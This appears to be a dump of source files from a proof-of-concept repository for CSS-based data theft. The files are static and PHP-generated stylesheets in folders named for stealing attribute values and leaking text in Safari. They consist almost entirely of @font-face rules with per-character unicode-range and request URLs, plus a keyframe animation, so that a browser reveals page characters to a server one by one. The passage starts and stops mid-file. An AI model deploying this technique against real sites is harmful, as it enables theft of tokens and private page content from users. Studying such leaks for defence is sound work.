108 | }
109 |
110 | @font-face {
111 | src: url("/%3D");
112 | unicode-range: U+003d;
113 | font-family: steal;
114 | }
115 |
116 | @font-face {
117 | src: url("/%3E");
118 | unicode-range: U+003e;
119 | font-family: steal;
120 | }
121 |
122 | @font-face {
123 | src: url("/%3F");
124 | unicode-range: U+003f;
125 | font-family: steal;
126 | }
127 |
128 | @font-face {
129 | src: url("/%40");
130 | unicode-range: U+0040;
131 | font-family: steal;
132 | }
133 |
134 | @font-face {
135 | src: url("/%5B");
136 | unicode-range: U+005b;
137 | font-family: steal;
138 | }
139 |
140 | @font-face {
141 | src: url("/%5C");
142 | unicode-range: U+005c;
143 | font-family: steal;
144 | }
145 |
146 | @font-face {
147 | src: url("/%5D");
148 | unicode-range: U+005d;
149 | font-family: steal;
150 | }
151 |
152 | @font-face {
153 | src: url("/%5E");
154 | unicode-range: U+005e;
155 | font-family: steal;
156 | }
157 |
158 | @font-face {
159 | src: url("/%60");
160 | unicode-range: U+0060;
161 | font-family: steal;
162 | }
163 |
164 | @font-face {
165 | src: url("/%7B");
166 | unicode-range: U+007b;
167 | font-family: steal;
168 | }
169 |
170 | @font-face {
171 | src: url("/%7C");
172 | unicode-range: U+007c;
173 | font-family: steal;
174 | }
175 |
176 | @font-face {
177 | src: url("/%7D");
178 | unicode-range: U+007d;
179 | font-family: steal;
180 | }
181 |
182 | @font-face {
183 | src: url("/~");
184 | unicode-range: U+007e;
185 | font-family: steal;
186 | }
187 |
--------------------------------------------------------------------------------
/style.php:
--------------------------------------------------------------------------------
1 |
5 |
6 |
7 | @font-face {
8 | src: url("/a?=$cacheBuster?>");
9 | unicode-range: U+0061;
10 | font-family: steal=$i?>;
11 | }
12 | @font-face {
13 | src: url("/b?=$cacheBuster?>");
14 | unicode-range: U+0062;
15 | font-family: steal=$i?>;
16 | }
17 | @font-face {
18 | src: url("/c?=$cacheBuster?>");
19 | unicode-range: U+0063;
20 | font-family: steal=$i?>;
21 | }
22 | @font-face {
23 | src: url("/d?=$cacheBuster?>");
24 | unicode-range: U+0064;
25 | font-family: steal=$i?>;
26 | }
27 | @font-face {
28 | src: url("/e?=$cacheBuster?>");
29 | unicode-range: U+0065;
30 | font-family: steal=$i?>;
31 | }
32 | @font-face {
33 | src: url("/f?=$cacheBuster?>");
34 | unicode-range: U+0066;
35 | font-family: steal=$i?>;
36 | }
37 | @font-face {
38 | src: url("/g?=$cacheBuster?>");
39 | unicode-range: U+0067;
40 | font-family: steal=$i?>;
41 | }
42 | @font-face {
43 | src: url("/h?=$cacheBuster?>");
44 | unicode-range: U+0068;
45 | font-family: steal=$i?>;
46 | }
47 | @font-face {
48 | src: url("/i?=$cacheBuster?>");
49 | unicode-range: U+0069;
50 | font-family: steal=$i?>;
51 | }
52 | @font-face {
53 | src: url("/j?=$cacheBuster?>");
54 | unicode-range: U+006a;
55 | font-family: steal=$i?>;
56 | }
57 | @font-face {
58 | src: url("/k?=$cacheBuster?>");
59 | unicode-range: U+006b;
60 | font-family: steal=$i?>;
61 | }
62 | @font-face {
63 | src: url("/l?=$cacheBuster?>");
64 | unicode-range: U+006c;
65 | font-family: steal=$i?>;
66 | }
67 | @font-face {
68 | src: url("/m?=$cacheBuster?>");
69 | unicode-range: U+006d;
70 | font-family: steal=$i?>;
71 | }
72 | @font-face {
73 | src: url("/n?=$cacheBuster?>");
74 | unicode-range: U+006e;
75 | font-family: steal=$i?>;
76 | }
77 | @font-face {
78 | src: url("/o?=$cacheBuster?>");
79 | unicode-range: U+006f;
80 | font-family: steal=$i?>;
81 | }
82 | @font-face {
83 | src: url("/p?=$cacheBuster?>");
84 | unicode-range: U+0070;
85 | font-family: steal=$i?>;
86 | }
87 | @font-face {
88 | src: url("/q?=$cacheBuster?>");
89 | unicode-range: U+0071;
90 | font-family: steal=$i?>;
91 | }
92 | @font-face {
93 | src: url("/r?=$cacheBuster?>");
94 | unicode-range: U+0072;
95 | font-family: steal=$i?>;
96 | }
97 | @font-face {
98 | src: url("/s?=$cacheBuster?>");
99 | unicode-range: U+0073;
100 | font-family: steal=$i?>;
101 | }
102 | @font-face {
103 | src: url("/t?=$cacheBuster?>");
104 | unicode-range: U+0074;
105 | font-family: steal=$i?>;
106 | }
107 | @font-face {
108 | src: url("/u?=$cacheBuster?>");
109 | unicode-range: U+0075;
110 | font-family: steal=$i?>;
111 | }
112 | @font-face {
113 | src: url("/v?=$cacheBuster?>");
114 | unicode-range: U+0076;
115 | font-family: steal=$i?>;
116 | }
117 | @font-face {
118 | src: url("/w?=$cacheBuster?>");
119 | unicode-range: U+0077;
120 | font-family: steal=$i?>;
121 | }
122 | @font-face {
123 | src: url("/x?=$cacheBuster?>");
124 | unicode-range: U+0078;
125 | font-family: steal=$i?>;
126 | }
127 | @font-face {
128 | src: url("/y?=$cacheBuster?>");
129 | unicode-range: U+0079;
130 | font-family: steal=$i?>;
131 | }
132 | @font-face {
133 | src: url("/z?=$cacheBuster?>");
134 | unicode-range: U+007a;
135 | font-family: steal=$i?>;
136 | }
137 |
138 |
139 | @keyframes steal {
140 |
141 | =$i?>% {
142 | font-family: steal=$i?>;
143 | color: =$i%2?'red':'green'?>
144 | }
145 |
146 | }
--------------------------------------------------------------------------------
/steal-uppercase.css:
--------------------------------------------------------------------------------
1 |
2 | @font-face {
3 | src: url("/A");
4 | unicode-range: U+0041;
5 | font-family: steal;
6 | }
7 |
8 | @font-face {
9 | src: url("/B");
10 | unicode-range: U+0042;
11 | font-family: steal;
12 | }
13 |
14 | @font-face {
15 | src: url("/C");
16 | unicode-range: U+0043;
17 | font-family: steal;
18 | }
19 |
20 | @font-face {
21 | src: url("/D");
22 | unicode-range: U+0044;
23 | font-family: steal;
24 | }
25 |
26 | @font-face {
27 | src: url("/E");
28 | unicode-range: U+0045;
29 | font-family: steal;
30 | }
31 |
32 | @font-face {
33 | src: url("/F");
34 | unicode-range: U+0046;
35 | font-family: steal;
36 | }
37 |
38 | @font-face {
39 | src: url("/G");
40 | unicode-range: U+0047;
41 | font-family: steal;
42 | }
43 |
44 | @font-face {
45 | src: url("/H");
46 | unicode-range: U+0048;
47 | font-family: steal;
48 | }
49 |
50 | @font-face {
51 | src: url("/I");
52 | unicode-range: U+0049;
53 | font-family: steal;
54 | }
55 |
56 | @font-face {
57 | src: url("/J");
58 | unicode-range: U+004a;
59 | font-family: steal;
60 | }
61 |
62 | @font-face {
63 | src: url("/K");
64 | unicode-range: U+004b;
65 | font-family: steal;
66 | }
67 |
68 | @font-face {
69 | src: url("/L");
70 | unicode-range: U+004c;
71 | font-family: steal;
72 | }
73 |
74 | @font-face {
75 | src: url("/M");
76 | unicode-range: U+004d;
77 | font-family: steal;
78 | }
79 |
80 | @font-face {
81 | src: url("/N");
82 | unicode-range: U+004e;
83 | font-family: steal;
84 | }
85 |
86 | @font-face {
87 | src: url("/O");
88 | unicode-range: U+004f;
89 | font-family: steal;
90 | }
91 |
92 | @font-face {
93 | src: url("/P");
94 | unicode-range: U+0050;
95 | font-family: steal;
96 | }
97 |
98 | @font-face {
99 | src: url("/Q");
100 | unicode-range: U+0051;
101 | font-family: steal;
102 | }
103 |
104 | @font-face {
105 | src: url("/R");
106 | unicode-range: U+0052;
107 | font-family: steal;
108 | }
109 |
110 | @font-face {
111 | src: url("/S");
112 | unicode-range: U+0053;
113 | font-family: steal;
114 | }
115 |
116 | @font-face {
117 | src: url("/T");
118 | unicode-range: U+0054;
119 | font-family: steal;
120 | }
121 |
122 | @font-face {
123 | src: url("/U");
124 | unicode-range: U+0055;
125 | font-family: steal;
126 | }
127 |
128 | @font-face {
129 | src: url("/V");
130 | unicode-range: U+0056;
131 | font-family: steal;
132 | }
133 |
134 | @font-face {
135 | src: url("/W");
136 | unicode-range: U+0057;
137 | font-family: steal;
138 | }
139 |
140 | @font-face {
141 | src: url("/X");
142 | unicode-range: U+0058;
143 | font-family: steal;
144 | }
145 |
146 | @font-face {
147 | src: url("/Y");
148 | unicode-range: U+0059;
149 | font-family: steal;
150 | }
151 |
152 | @font-face {
153 | src: url("/Z");
154 | unicode-range: U+005a;
155 | font-family: steal;
156 | }
157 |
158 |
159 | @font-face {
160 | src: url("/A");
161 | unicode-range: U+0041;
162 | font-family: steal2;
163 | }
164 |
165 | @font-face {
166 | src: url("/B");
167 | unicode-range: U+0042;
168 | font-family: steal2;
169 | }
170 |
171 | @font-face {
172 | src: url("/C");
173 | unicode-range: U+0043;
174 | font-family: steal2;
175 | }
176 |
177 | @font-face {
178 | src: url("/D");
179 | unicode-range: U+0044;
180 | font-family: steal2;
181 | }
182 |
183 | @font-face {
184 | src: url("/E");
185 | unicode-range: U+0045;
186 | font-family: steal2;
187 | }
188 |
189 | @font-face {
190 | src: url("/F");
191 | unicode-range: U+0046;
192 | font-family: steal2;
193 | }
194 |
195 | @font-face {
196 | src: url("/G");
197 | unicode-range: U+0047;
198 | font-family: steal2;
199 | }
200 |
201 | @font-face {
202 | src: url("/H");
203 | unicode-range: U+0048;
204 | font-family: steal2;
205 | }
206 |
207 | @font-face {
208 | src: url("/I");
209 | unicode-range: U+0049;
210 | font-family: steal2;
211 | }
212 |
213 | @font-face {
214 | src: url("/J");
215 | unicode-range: U+004a;
216 | font-family: steal2;
217 | }
218 |
219 | @font-face {
220 | src: url("/K");
221 | unicode-range: U+004b;
222 | font-family: steal2;
223 | }
224 |
225 | @font-face {
226 | src: url("/L");
227 | unicode-range: U+004c;
228 | font-family: steal2;
229 | }
230 |
231 | @font-face {
232 | src: url("/M");
233 | unicode-range: U+004d;
234 | font-family: steal2;
235 | }
236 |
237 | @font-face {
238 | src: url("/N");
239 | unicode-range: U+004e;
240 | font-family: steal2;
241 | }
242 |
243 | @font-face {
244 | src: url("/O");
245 | unicode-range: U+004f;
246 | font-family: steal2;
247 | }
248 |
249 | @font-face {
250 | src: url("/P");
251 | unicode-range: U+0050;
252 | font-family: steal2;
253 | }
254 |
255 | @font-face {
256 | src: url("/Q");
257 | unicode-range: U+0051;
258 | font-family: steal2;
259 | }
260 |
261 | @font-face {
262 | src: url("/R");
263 | unicode-range: U+0052;
264 | font-family: steal2;
265 | }
266 |
267 | @font-face {
268 | src: url("/S");
269 | unicode-range: U+0053;
270 | font-family: steal2;
271 | }
272 |
273 | @font-face {
274 | src: url("/T");
275 | unicode-range: U+0054;
276 | font-family: steal2;
277 | }
278 |
279 | @font-face {
280 | src: url("/U");
281 | unicode-range: U+0055;
282 | font-family: steal2;
283 | }
284 |
285 | @font-face {
286 | src: url("/V");
287 | unicode-range: U+0056;
288 | font-family: steal2;
289 | }
290 |
291 | @font-face {
292 | src: url("/W");
293 | unicode-range: U+0057;
294 | font-family: steal2;
295 | }
296 |
297 | @font-face {
298 | src: url("/X");
299 | unicode-range: U+0058;
300 | font-family: steal2;
301 | }
302 |
303 | @font-face {
304 | src: url("/Y");
305 | unicode-range: U+0059;
306 | font-family: steal2;
307 | }
308 |
309 | @font-face {
310 | src: url("/Z");
311 | unicode-range: U+005a;
312 | font-family: steal2;
313 | }
314 |
--------------------------------------------------------------------------------
/steal-attribute-values/steal-uppercase.css:
--------------------------------------------------------------------------------
1 |
2 | @font-face {
3 | src: url("/A");
4 | unicode-range: U+0041;
5 | font-family: steal;
6 | }
7 |
8 | @font-face {
9 | src: url("/B");
10 | unicode-range: U+0042;
11 | font-family: steal;
12 | }
13 |
14 | @font-face {
15 | src: url("/C");
16 | unicode-range: U+0043;
17 | font-family: steal;
18 | }
19 |
20 | @font-face {
21 | src: url("/D");
22 | unicode-range: U+0044;
23 | font-family: steal;
24 | }
25 |
26 | @font-face {
27 | src: url("/E");
28 | unicode-range: U+0045;
29 | font-family: steal;
30 | }
31 |
32 | @font-face {
33 | src: url("/F");
34 | unicode-range: U+0046;
35 | font-family: steal;
36 | }
37 |
38 | @font-face {
39 | src: url("/G");
40 | unicode-range: U+0047;
41 | font-family: steal;
42 | }
43 |
44 | @font-face {
45 | src: url("/H");
46 | unicode-range: U+0048;
47 | font-family: steal;
48 | }
49 |
50 | @font-face {
51 | src: url("/I");
52 | unicode-range: U+0049;
53 | font-family: steal;
54 | }
55 |
56 | @font-face {
57 | src: url("/J");
58 | unicode-range: U+004a;
59 | font-family: steal;
60 | }
61 |
62 | @font-face {
63 | src: url("/K");
64 | unicode-range: U+004b;
65 | font-family: steal;
66 | }
67 |
68 | @font-face {
69 | src: url("/L");
70 | unicode-range: U+004c;
71 | font-family: steal;
72 | }
73 |
74 | @font-face {
75 | src: url("/M");
76 | unicode-range: U+004d;
77 | font-family: steal;
78 | }
79 |
80 | @font-face {
81 | src: url("/N");
82 | unicode-range: U+004e;
83 | font-family: steal;
84 | }
85 |
86 | @font-face {
87 | src: url("/O");
88 | unicode-range: U+004f;
89 | font-family: steal;
90 | }
91 |
92 | @font-face {
93 | src: url("/P");
94 | unicode-range: U+0050;
95 | font-family: steal;
96 | }
97 |
98 | @font-face {
99 | src: url("/Q");
100 | unicode-range: U+0051;
101 | font-family: steal;
102 | }
103 |
104 | @font-face {
105 | src: url("/R");
106 | unicode-range: U+0052;
107 | font-family: steal;
108 | }
109 |
110 | @font-face {
111 | src: url("/S");
112 | unicode-range: U+0053;
113 | font-family: steal;
114 | }
115 |
116 | @font-face {
117 | src: url("/T");
118 | unicode-range: U+0054;
119 | font-family: steal;
120 | }
121 |
122 | @font-face {
123 | src: url("/U");
124 | unicode-range: U+0055;
125 | font-family: steal;
126 | }
127 |
128 | @font-face {
129 | src: url("/V");
130 | unicode-range: U+0056;
131 | font-family: steal;
132 | }
133 |
134 | @font-face {
135 | src: url("/W");
136 | unicode-range: U+0057;
137 | font-family: steal;
138 | }
139 |
140 | @font-face {
141 | src: url("/X");
142 | unicode-range: U+0058;
143 | font-family: steal;
144 | }
145 |
146 | @font-face {
147 | src: url("/Y");
148 | unicode-range: U+0059;
149 | font-family: steal;
150 | }
151 |
152 | @font-face {
153 | src: url("/Z");
154 | unicode-range: U+005a;
155 | font-family: steal;
156 | }
157 |
158 |
159 | @font-face {
160 | src: url("/A");
161 | unicode-range: U+0041;
162 | font-family: steal2;
163 | }
164 |
165 | @font-face {
166 | src: url("/B");
167 | unicode-range: U+0042;
168 | font-family: steal2;
169 | }
170 |
171 | @font-face {
172 | src: url("/C");
173 | unicode-range: U+0043;
174 | font-family: steal2;
175 | }
176 |
177 | @font-face {
178 | src: url("/D");
179 | unicode-range: U+0044;
180 | font-family: steal2;
181 | }
182 |
183 | @font-face {
184 | src: url("/E");
185 | unicode-range: U+0045;
186 | font-family: steal2;
187 | }
188 |
189 | @font-face {
190 | src: url("/F");
191 | unicode-range: U+0046;
192 | font-family: steal2;
193 | }
194 |
195 | @font-face {
196 | src: url("/G");
197 | unicode-range: U+0047;
198 | font-family: steal2;
199 | }
200 |
201 | @font-face {
202 | src: url("/H");
203 | unicode-range: U+0048;
204 | font-family: steal2;
205 | }
206 |
207 | @font-face {
208 | src: url("/I");
209 | unicode-range: U+0049;
210 | font-family: steal2;
211 | }
212 |
213 | @font-face {
214 | src: url("/J");
215 | unicode-range: U+004a;
216 | font-family: steal2;
217 | }
218 |
219 | @font-face {
220 | src: url("/K");
221 | unicode-range: U+004b;
222 | font-family: steal2;
223 | }
224 |
225 | @font-face {
226 | src: url("/L");
227 | unicode-range: U+004c;
228 | font-family: steal2;
229 | }
230 |
231 | @font-face {
232 | src: url("/M");
233 | unicode-range: U+004d;
234 | font-family: steal2;
235 | }
236 |
237 | @font-face {
238 | src: url("/N");
239 | unicode-range: U+004e;
240 | font-family: steal2;
241 | }
242 |
243 | @font-face {
244 | src: url("/O");
245 | unicode-range: U+004f;
246 | font-family: steal2;
247 | }
248 |
249 | @font-face {
250 | src: url("/P");
251 | unicode-range: U+0050;
252 | font-family: steal2;
253 | }
254 |
255 | @font-face {
256 | src: url("/Q");
257 | unicode-range: U+0051;
258 | font-family: steal2;
259 | }
260 |
261 | @font-face {
262 | src: url("/R");
263 | unicode-range: U+0052;
264 | font-family: steal2;
265 | }
266 |
267 | @font-face {
268 | src: url("/S");
269 | unicode-range: U+0053;
270 | font-family: steal2;
271 | }
272 |
273 | @font-face {
274 | src: url("/T");
275 | unicode-range: U+0054;
276 | font-family: steal2;
277 | }
278 |
279 | @font-face {
280 | src: url("/U");
281 | unicode-range: U+0055;
282 | font-family: steal2;
283 | }
284 |
285 | @font-face {
286 | src: url("/V");
287 | unicode-range: U+0056;
288 | font-family: steal2;
289 | }
290 |
291 | @font-face {
292 | src: url("/W");
293 | unicode-range: U+0057;
294 | font-family: steal2;
295 | }
296 |
297 | @font-face {
298 | src: url("/X");
299 | unicode-range: U+0058;
300 | font-family: steal2;
301 | }
302 |
303 | @font-face {
304 | src: url("/Y");
305 | unicode-range: U+0059;
306 | font-family: steal2;
307 | }
308 |
309 | @font-face {
310 | src: url("/Z");
311 | unicode-range: U+005a;
312 | font-family: steal2;
313 | }
314 |
--------------------------------------------------------------------------------
/steal-first-line-safari/steal-uppercase.css:
--------------------------------------------------------------------------------
1 |
2 | @font-face {
3 | src: url("/A");
4 | unicode-range: U+0041;
5 | font-family: steal;
6 | }
7 |
8 | @font-face {
9 | src: url("/B");
10 | unicode-range: U+0042;
11 | font-family: steal;
12 | }
13 |
14 | @font-face {
15 | src: url("/C");
16 | unicode-range: U+0043;
17 | font-family: steal;
18 | }
19 |
20 | @font-face {
21 | src: url("/D");
22 | unicode-range: U+0044;
23 | font-family: steal;
24 | }
25 |
26 | @font-face {
27 | src: url("/E");
28 | unicode-range: U+0045;
29 | font-family: steal;
30 | }
31 |
32 | @font-face {
33 | src: url("/F");
34 | unicode-range: U+0046;
35 | font-family: steal;
36 | }
37 |
38 | @font-face {
39 | src: url("/G");
40 | unicode-range: U+0047;
41 | font-family: steal;
42 | }
43 |
44 | @font-face {
45 | src: url("/H");
46 | unicode-range: U+0048;
47 | font-family: steal;
48 | }
49 |
50 | @font-face {
51 | src: url("/I");
52 | unicode-range: U+0049;
53 | font-family: steal;
54 | }
55 |
56 | @font-face {
57 | src: url("/J");
58 | unicode-range: U+004a;
59 | font-family: steal;
60 | }
61 |
62 | @font-face {
63 | src: url("/K");
64 | unicode-range: U+004b;
65 | font-family: steal;
66 | }
67 |
68 | @font-face {
69 | src: url("/L");
70 | unicode-range: U+004c;
71 | font-family: steal;
72 | }
73 |
74 | @font-face {
75 | src: url("/M");
76 | unicode-range: U+004d;
77 | font-family: steal;
78 | }
79 |
80 | @font-face {
81 | src: url("/N");
82 | unicode-range: U+004e;
83 | font-family: steal;
84 | }
85 |
86 | @font-face {
87 | src: url("/O");
88 | unicode-range: U+004f;
89 | font-family: steal;
90 | }
91 |
92 | @font-face {
93 | src: url("/P");
94 | unicode-range: U+0050;
95 | font-family: steal;
96 | }
97 |
98 | @font-face {
99 | src: url("/Q");
100 | unicode-range: U+0051;
101 | font-family: steal;
102 | }
103 |
104 | @font-face {
105 | src: url("/R");
106 | unicode-range: U+0052;
107 | font-family: steal;
108 | }
109 |
110 | @font-face {
111 | src: url("/S");
112 | unicode-range: U+0053;
113 | font-family: steal;
114 | }
115 |
116 | @font-face {
117 | src: url("/T");
118 | unicode-range: U+0054;
119 | font-family: steal;
120 | }
121 |
122 | @font-face {
123 | src: url("/U");
124 | unicode-range: U+0055;
125 | font-family: steal;
126 | }
127 |
128 | @font-face {
129 | src: url("/V");
130 | unicode-range: U+0056;
131 | font-family: steal;
132 | }
133 |
134 | @font-face {
135 | src: url("/W");
136 | unicode-range: U+0057;
137 | font-family: steal;
138 | }
139 |
140 | @font-face {
141 | src: url("/X");
142 | unicode-range: U+0058;
143 | font-family: steal;
144 | }
145 |
146 | @font-face {
147 | src: url("/Y");
148 | unicode-range: U+0059;
149 | font-family: steal;
150 | }
151 |
152 | @font-face {
153 | src: url("/Z");
154 | unicode-range: U+005a;
155 | font-family: steal;
156 | }
157 |
158 |
159 | @font-face {
160 | src: url("/A");
161 | unicode-range: U+0041;
162 | font-family: steal2;
163 | }
164 |
165 | @font-face {
166 | src: url("/B");
167 | unicode-range: U+0042;
168 | font-family: steal2;
169 | }
170 |
171 | @font-face {
172 | src: url("/C");
173 | unicode-range: U+0043;
174 | font-family: steal2;
175 | }
176 |
177 | @font-face {
178 | src: url("/D");
179 | unicode-range: U+0044;
180 | font-family: steal2;
181 | }
182 |
183 | @font-face {
184 | src: url("/E");
185 | unicode-range: U+0045;
186 | font-family: steal2;
187 | }
188 |
189 | @font-face {
190 | src: url("/F");
191 | unicode-range: U+0046;
192 | font-family: steal2;
193 | }
194 |
195 | @font-face {
196 | src: url("/G");
197 | unicode-range: U+0047;
198 | font-family: steal2;
199 | }
200 |
201 | @font-face {
202 | src: url("/H");
203 | unicode-range: U+0048;
204 | font-family: steal2;
205 | }
206 |
207 | @font-face {
208 | src: url("/I");
209 | unicode-range: U+0049;
210 | font-family: steal2;
211 | }
212 |
213 | @font-face {
214 | src: url("/J");
215 | unicode-range: U+004a;
216 | font-family: steal2;
217 | }
218 |
219 | @font-face {
220 | src: url("/K");
221 | unicode-range: U+004b;
222 | font-family: steal2;
223 | }
224 |
225 | @font-face {
226 | src: url("/L");
227 | unicode-range: U+004c;
228 | font-family: steal2;
229 | }
230 |
231 | @font-face {
232 | src: url("/M");
233 | unicode-range: U+004d;
234 | font-family: steal2;
235 | }
236 |
237 | @font-face {
238 | src: url("/N");
239 | unicode-range: U+004e;
240 | font-family: steal2;
241 | }
242 |
243 | @font-face {
244 | src: url("/O");
245 | unicode-range: U+004f;
246 | font-family: steal2;
247 | }
248 |
249 | @font-face {
250 | src: url("/P");
251 | unicode-range: U+0050;
252 | font-family: steal2;
253 | }
254 |
255 | @font-face {
256 | src: url("/Q");
257 | unicode-range: U+0051;
258 | font-family: steal2;
259 | }
260 |
261 | @font-face {
262 | src: url("/R");
263 | unicode-range: U+0052;
264 | font-family: steal2;
265 | }
266 |
267 | @font-face {
268 | src: url("/S");
269 | unicode-range: U+0053;
270 | font-family: steal2;
271 | }
272 |
273 | @font-face {
274 | src: url("/T");
275 | unicode-range: U+0054;
276 | font-family: steal2;
277 | }
278 |
279 | @font-face {
280 | src: url("/U");
281 | unicode-range: U+0055;
282 | font-family: steal2;
283 | }
284 |
285 | @font-face {
286 | src: url("/V");
287 | unicode-range: U+0056;
288 | font-family: steal2;
289 | }
290 |
291 | @font-face {
292 | src: url("/W");
293 | unicode-range: U+0057;
294 | font-family: steal2;
295 | }
296 |
297 | @font-face {
298 | src: url("/X");
299 | unicode-range: U+0058;
300 | font-family: steal2;
301 | }
302 |
303 | @font-face {
304 | src: url("/Y");
305 | unicode-range: U+0059;
306 | font-family: steal2;
307 | }
308 |
309 | @font-face {
310 | src: url("/Z");
311 | unicode-range: U+005a;
312 | font-family: steal2;
313 | }
314 |
--------------------------------------------------------------------------------
/steal-n-characters-safari/steal-uppercase.css:
--------------------------------------------------------------------------------
1 |
2 | @font-face {
3 | src: url("/A");
4 | unicode-range: U+0041;
5 | font-family: steal;
6 | }
7 |
8 | @font-face {
9 | src: url("/B");
10 | unicode-range: U+0042;
11 | font-family: steal;
12 | }
13 |
14 | @font-face {
15 | src: url("/C");
16 | unicode-range: U+0043;
17 | font-family: steal;
18 | }
19 |
20 | @font-face {
21 | src: url("/D");
22 | unicode-range: U+0044;
23 | font-family: steal;
24 | }
25 |
26 | @font-face {
27 | src: url("/E");
28 | unicode-range: U+0045;
29 | font-family: steal;
30 | }
31 |
32 | @font-face {
33 | src: url("/F");
34 | unicode-range: U+0046;
35 | font-family: steal;
36 | }
37 |
38 | @font-face {
39 | src: url("/G");
40 | unicode-range: U+0047;
41 | font-family: steal;
42 | }
43 |
44 | @font-face {
45 | src: url("/H");
46 | unicode-range: U+0048;
47 | font-family: steal;
48 | }
49 |
50 | @font-face {
51 | src: url("/I");
52 | unicode-range: U+0049;
53 | font-family: steal;
54 | }
55 |
56 | @font-face {
57 | src: url("/J");
58 | unicode-range: U+004a;
59 | font-family: steal;
60 | }
61 |
62 | @font-face {
63 | src: url("/K");
64 | unicode-range: U+004b;
65 | font-family: steal;
66 | }
67 |
68 | @font-face {
69 | src: url("/L");
70 | unicode-range: U+004c;
71 | font-family: steal;
72 | }
73 |
74 | @font-face {
75 | src: url("/M");
76 | unicode-range: U+004d;
77 | font-family: steal;
78 | }
79 |
80 | @font-face {
81 | src: url("/N");
82 | unicode-range: U+004e;
83 | font-family: steal;
84 | }
85 |
86 | @font-face {
87 | src: url("/O");
88 | unicode-range: U+004f;
89 | font-family: steal;
90 | }
91 |
92 | @font-face {
93 | src: url("/P");
94 | unicode-range: U+0050;
95 | font-family: steal;
96 | }
97 |
98 | @font-face {
99 | src: url("/Q");
100 | unicode-range: U+0051;
101 | font-family: steal;
102 | }
103 |
104 | @font-face {
105 | src: url("/R");
106 | unicode-range: U+0052;
107 | font-family: steal;
108 | }
109 |
110 | @font-face {
111 | src: url("/S");
112 | unicode-range: U+0053;
113 | font-family: steal;
114 | }
115 |
116 | @font-face {
117 | src: url("/T");
118 | unicode-range: U+0054;
119 | font-family: steal;
120 | }
121 |
122 | @font-face {
123 | src: url("/U");
124 | unicode-range: U+0055;
125 | font-family: steal;
126 | }
127 |
128 | @font-face {
129 | src: url("/V");
130 | unicode-range: U+0056;
131 | font-family: steal;
132 | }
133 |
134 | @font-face {
135 | src: url("/W");
136 | unicode-range: U+0057;
137 | font-family: steal;
138 | }
139 |
140 | @font-face {
141 | src: url("/X");
142 | unicode-range: U+0058;
143 | font-family: steal;
144 | }
145 |
146 | @font-face {
147 | src: url("/Y");
148 | unicode-range: U+0059;
149 | font-family: steal;
150 | }
151 |
152 | @font-face {
153 | src: url("/Z");
154 | unicode-range: U+005a;
155 | font-family: steal;
156 | }
157 |
158 |
159 | @font-face {
160 | src: url("/A");
161 | unicode-range: U+0041;
162 | font-family: steal2;
163 | }
164 |
165 | @font-face {
166 | src: url("/B");
167 | unicode-range: U+0042;
168 | font-family: steal2;
169 | }
170 |
171 | @font-face {
172 | src: url("/C");
173 | unicode-range: U+0043;
174 | font-family: steal2;
175 | }
176 |
177 | @font-face {
178 | src: url("/D");
179 | unicode-range: U+0044;
180 | font-family: steal2;
181 | }
182 |
183 | @font-face {
184 | src: url("/E");
185 | unicode-range: U+0045;
186 | font-family: steal2;
187 | }
188 |
189 | @font-face {
190 | src: url("/F");
191 | unicode-range: U+0046;
192 | font-family: steal2;
193 | }
194 |
195 | @font-face {
196 | src: url("/G");
197 | unicode-range: U+0047;
198 | font-family: steal2;
199 | }
200 |
201 | @font-face {
202 | src: url("/H");
203 | unicode-range: U+0048;
204 | font-family: steal2;
205 | }
206 |
207 | @font-face {
208 | src: url("/I");
209 | unicode-range: U+0049;
210 | font-family: steal2;
211 | }
212 |
213 | @font-face {
214 | src: url("/J");
215 | unicode-range: U+004a;
216 | font-family: steal2;
217 | }
218 |
219 | @font-face {
220 | src: url("/K");
221 | unicode-range: U+004b;
222 | font-family: steal2;
223 | }
224 |
225 | @font-face {
226 | src: url("/L");
227 | unicode-range: U+004c;
228 | font-family: steal2;
229 | }
230 |
231 | @font-face {
232 | src: url("/M");
233 | unicode-range: U+004d;
234 | font-family: steal2;
235 | }
236 |
237 | @font-face {
238 | src: url("/N");
239 | unicode-range: U+004e;
240 | font-family: steal2;
241 | }
242 |
243 | @font-face {
244 | src: url("/O");
245 | unicode-range: U+004f;
246 | font-family: steal2;
247 | }
248 |
249 | @font-face {
250 | src: url("/P");
251 | unicode-range: U+0050;
252 | font-family: steal2;
253 | }
254 |
255 | @font-face {
256 | src: url("/Q");
257 | unicode-range: U+0051;
258 | font-family: steal2;
259 | }
260 |
261 | @font-face {
262 | src: url("/R");
263 | unicode-range: U+0052;
264 | font-family: steal2;
265 | }
266 |
267 | @font-face {
268 | src: url("/S");
269 | unicode-range: U+0053;
270 | font-family: steal2;
271 | }
272 |
273 | @font-face {
274 | src: url("/T");
275 | unicode-range: U+0054;
276 | font-family: steal2;
277 | }
278 |
279 | @font-face {
280 | src: url("/U");
281 | unicode-range: U+0055;
282 | font-family: steal2;
283 | }
284 |
285 | @font-face {
286 | src: url("/V");
287 | unicode-range: U+0056;
288 | font-family: steal2;
289 | }
290 |
291 | @font-face {
292 | src: url("/W");
293 | unicode-range: U+0057;
294 | font-family: steal2;
295 | }
296 |
297 | @font-face {
298 | src: url("/X");
299 | unicode-range: U+0058;
300 | font-family: steal2;
301 | }
302 |
303 | @font-face {
304 | src: url("/Y");
305 | unicode-range: U+0059;
306 | font-family: steal2;
307 | }
308 |
309 | @font-face {
310 | src: url("/Z");
311 | unicode-range: U+005a;
312 | font-family: steal2;
313 | }
314 |
--------------------------------------------------------------------------------
/steal-second-letter-safari/steal-uppercase.css:
--------------------------------------------------------------------------------
1 |
2 | @font-face {
3 | src: url("/A");
4 | unicode-range: U+0041;
5 | font-family: steal;
6 | }
7 |
8 | @font-face {
9 | src: url("/B");
10 | unicode-range: U+0042;
11 | font-family: steal;
12 | }
13 |
14 | @font-face {
15 | src: url("/C");
16 | unicode-range: U+0043;
17 | font-family: steal;
18 | }
19 |
20 | @font-face {
21 | src: url("/D");
22 | unicode-range: U+0044;
23 | font-family: steal;
24 | }
25 |
26 | @font-face {
27 | src: url("/E");
28 | unicode-range: U+0045;
29 | font-family: steal;
30 | }
31 |
32 | @font-face {
33 | src: url("/F");
34 | unicode-range: U+0046;
35 | font-family: steal;
36 | }
37 |
38 | @font-face {
39 | src: url("/G");
40 | unicode-range: U+0047;
41 | font-family: steal;
42 | }
43 |
44 | @font-face {
45 | src: url("/H");
46 | unicode-range: U+0048;
47 | font-family: steal;
48 | }
49 |
50 | @font-face {
51 | src: url("/I");
52 | unicode-range: U+0049;
53 | font-family: steal;
54 | }
55 |
56 | @font-face {
57 | src: url("/J");
